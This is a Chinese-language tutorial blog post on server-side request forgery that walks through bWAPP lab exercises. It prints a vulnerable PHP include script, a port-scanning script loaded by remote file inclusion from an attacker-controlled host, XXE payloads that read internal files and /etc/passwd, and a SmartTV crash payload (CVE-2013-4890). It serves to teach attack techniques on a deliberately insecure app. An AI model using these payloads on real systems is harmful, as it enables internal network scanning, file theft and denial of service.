ssrf

SSRF漏洞是如何產(chǎn)生的?

SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發(fā)起請求的一個安全漏洞。一般情況下,SSRF是要目標網(wǎng)站的內(nèi)部系統(tǒng)。(因為他是從內(nèi)部系統(tǒng)訪問的,所有可以通過它攻擊外網(wǎng)無法訪問的內(nèi)部系統(tǒng),也就是把目標網(wǎng)站當中間人)

SSRF 形成的原因大都是由于服務端提供了從其他服務器應用獲取數(shù)據(jù)的功能,且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片,文檔,等等。

上面的話說的有點抽象,然后說一下網(wǎng)上大佬的理解

首先,我們要對目標網(wǎng)站的架構了解,腦子了要有一個架構圖。比如 : A網(wǎng)站,是一個所有人都可以訪問的外網(wǎng)網(wǎng)站,B網(wǎng)站是一個他們內(nèi)部的OA網(wǎng)站。

所以,我們普通用戶只可以訪問a網(wǎng)站,不能訪問b網(wǎng)站。但是我們可以同過a網(wǎng)站做中間人,訪問b網(wǎng)站,從而達到攻擊b網(wǎng)站需求。

正常用戶訪問網(wǎng)站的流程是:

輸入A網(wǎng)站URL --> 發(fā)送請求 --> A服務器接受請求(沒有過濾),并處理 -->返回用戶響應

【那網(wǎng)站有個請求是www.baidu,com/xxx.php?image=URL

那么產(chǎn)生SSRF漏洞的環(huán)節(jié)在哪里呢?安全的網(wǎng)站應接收請求后,檢測請求的合法性

產(chǎn)生的原因:服務器端的驗證并沒有對其請求獲取圖片的參數(shù)(image=)做出嚴格的過濾以及限制,導致A網(wǎng)站可以從其他服務器的獲取數(shù)據(jù)

例如:

www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果我們將www.abd.com/1.jpg換為與該服務器相連的內(nèi)網(wǎng)服務器地址會產(chǎn)生什么效果呢?

如果存在該內(nèi)網(wǎng)地址就會返回1xx 2xx 之類的狀態(tài)碼,不存在就會其他的狀態(tài)碼

終極簡析: SSRF漏洞就是通過篡改獲取資源的請求發(fā)送給服務器,但是服務器并沒有檢測這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的資源。

ssrf用途

那么SSRF 可以做什么呢?

1.內(nèi)外網(wǎng)的端口和服務掃描

2.主機本地敏感數(shù)據(jù)的讀取

3.內(nèi)外網(wǎng)主機應用程序漏洞的利用

4.內(nèi)外網(wǎng)Web站點漏洞的利用

......

SSRF漏洞的尋找(漏洞常見出沒位置):

注:個人覺得所有調(diào)外部資源的參數(shù)都有可能存在ssrf漏洞

  • 1)分享:通過URL地址分享網(wǎng)頁內(nèi)容

  • 2)轉碼服務

  • 3)在線翻譯

  • 4)圖片加載與下載:通過URL地址加載或下載圖片

  • 5)圖片、文章收藏功能

  • 6)未公開的api實現(xiàn)以及其他調(diào)用URL的功能

  • 7)從URL關鍵字中尋找

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...

SSRF漏洞的驗證方法:

1)因為SSRF漏洞是讓服務器發(fā)送請求的安全漏洞,所以我們就可以通過抓包分析發(fā)送的請求是否是由服務器的發(fā)送的,從而來判斷是否存在SSRF漏洞

2)在頁面源碼中查找訪問的資源地址 ,如果該資源地址類型為 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

SSRF實例

1. bWAPP中的SSRF

bWAPP(buggy web Application) 這是一個集成了各種常見漏洞和最新漏洞的開源Web應用程序,集成了超過100種漏洞,個人覺得還是非常好用的,特別是在找漏洞利用示例的時候,往往能夠節(jié)省一些時間。

BWAPP:一款非常好用的漏洞演示平臺

安裝完畢后,使用bee/bug進行登錄,登錄的時候的等級選擇為low,登錄后選擇SSRF的靶場,然后點擊Hack進行演練。

image.png

選擇ssrf測試

2. SSRF的3個小實驗

bWAPP中的SSRF給出了3個小實驗來說明SSRF的利用場景:

任務1:使用(RFI)遠程文件包含進行端口掃描(內(nèi)網(wǎng)探測)

任務2:使用XXE獲取敏感文件中的內(nèi)容(文件讀?。?/p>

任務3:使用XXE進行SmartTV的拒絕服務漏洞的利用(漏洞利用)

RFI綜述

RFI是Remote File Inclusion的英文縮寫,直譯過來就是遠程文件包含,文件包含的目的是:程序員編寫程序時,經(jīng)常會把需要重復使用的代碼寫入一個單獨的文件中,當需要調(diào)用這些代碼時,再在其他文件中包含調(diào)用代碼的文件。
要了解遠程文件包含,首要先了解php的文件包含機制:
PHP中常用的包含調(diào)用函數(shù)有:include(), require(), include_once(), require_once() .include失敗會彈出警告 而require則直接導致致命的錯誤
寫個例子吧,直接講下RFI:
s_hell.php(php.ini下開啟allow_url_fopen allow_url_include)

<?php

if(isset($_GET['file'])){

$file = $_GET['file'];

include($file);

}

?>

http://10.22.10.191/Myphp/s_hell.php?file=https://bbs.ichunqiu.com

image.png

包含其實通俗點來講,就是把被包含的文件的代碼拿過來當作自己的源碼的一部分,所以,php文件包含機制有個特性:哪怕被包含的文件是個txt文件,它也會被包含文件所在的服務器當作腳本去執(zhí)行:

任務1:使用遠程文件包含進行端口掃描

點擊任務1中的Port scan可以獲得一份端口掃描的攻擊腳本


image.png

http://10.22.10.191/Myphp/ssrf-1.txt

<?php
/*
/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

漏 2013 MME BVBA. All rights reserved.

*/

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);  //要掃描的端口
    
    $results = array();        //把端口開放結果存在數(shù)組里
    
    foreach($ports as $port)           //遍歷端口
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))          //fsockopen()判斷端口開放情況
        {

            $results[$port] = true;         //結果放置在result數(shù)組里
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)             //遍歷結果數(shù)組 $port=>$val 鍵值對形式
    {

        $prot = getservbyport($port,"tcp");        /獲取端口服務
        echo "Port $port ($prot): ";

        if($val)                  //存在結果數(shù)組里的值是true,即為端口open,否則端口close
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}

//echo phpinfo();
?>

進入Remote & Local File Inclusion (RFI/LFI)的實驗后,看到有個選擇語言的功能模塊,直接執(zhí)行下,觀察Get請求中的參數(shù),發(fā)現(xiàn)是典型文件包含問題,language=lang_en.php

GET的請求: http://127.0.0.1/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

使用如下PAYLOAD,遠程包含并執(zhí)行掃描腳本探測內(nèi)網(wǎng)主機的端口和服務。

POST:http://10.22.10.191/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

POST DATA:ip=10.22.8.113

10.22.10.191也就是攻擊者的主機ip,這里language=http://10.22.10.191/....是掃描腳本的訪問地址,為了方便這里就用同一臺進行測試了,10.22.8.113是要掃描的目標主機地址,且該地址是language=http://10.22.10.191/主機無法訪問到的,然后方便查看區(qū)分使用post請求提交要進行掃描的目標主機IP,掃描結束后便返回結果。

image.png

任務2:使用XXE獲取敏感文件中的內(nèi)容

圖片.png

先點擊任務2中的Access得到XXE的利用腳本http://127.0.0.1/BWAPP/evil/ssrf-2.txt。,然后訪問XML External Entity Attacks (XXE)演練環(huán)境http://xxx.xxx.xxx/bWAPP/xxe-1.php,使用burpSuite抓包,并發(fā)送到repeater中進行測試。

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

測試中涉及的XXE知識可以參考http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA這篇文章。

使用http協(xié)議獲取/bWAPP/robots.txt的內(nèi)容。

使用php協(xié)議獲取/bWAPP/passwords/heroes.xml中的經(jīng)過base64編碼的數(shù)據(jù)。

使用file協(xié)議獲取bWAPP本機的/etc/passwd的內(nèi)容。

任務3:使用XXE進行SmartTV的拒絕服務漏洞的利用(沒有演示環(huán)境,先留坑)

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

參考:http://www.freebuf.com/column/157466.html

?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

  • 什么是csrf csrf通??s寫為CSRF或者XSRF,是一種對網(wǎng)站的惡意利用。盡管聽起來像跨站腳本(XSS),但...
    青山i閱讀 3,562評論 0 4
  • 米斯特白帽培訓講義 漏洞篇 SSRF 講師:gh0stkey 整理:飛龍 協(xié)議:CC BY-NC-SA 4.0 很...
    布客飛龍閱讀 1,742評論 0 9
  • SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務...
    Seaer閱讀 1,889評論 0 3
  • (Server-Side Request Forgery,服務器端請求偽造):通俗的來說就是我們可以偽造服務器端發(fā)...
    ambition_wy閱讀 2,921評論 0 1
  • 0x00原理 一般的請求:客戶端發(fā)起請求,服務器響應。 另外一種請求:客戶端發(fā)起請求(向服務端提供一個URL),服...
    0x525c閱讀 2,658評論 0 1

友情鏈接更多精彩內(nèi)容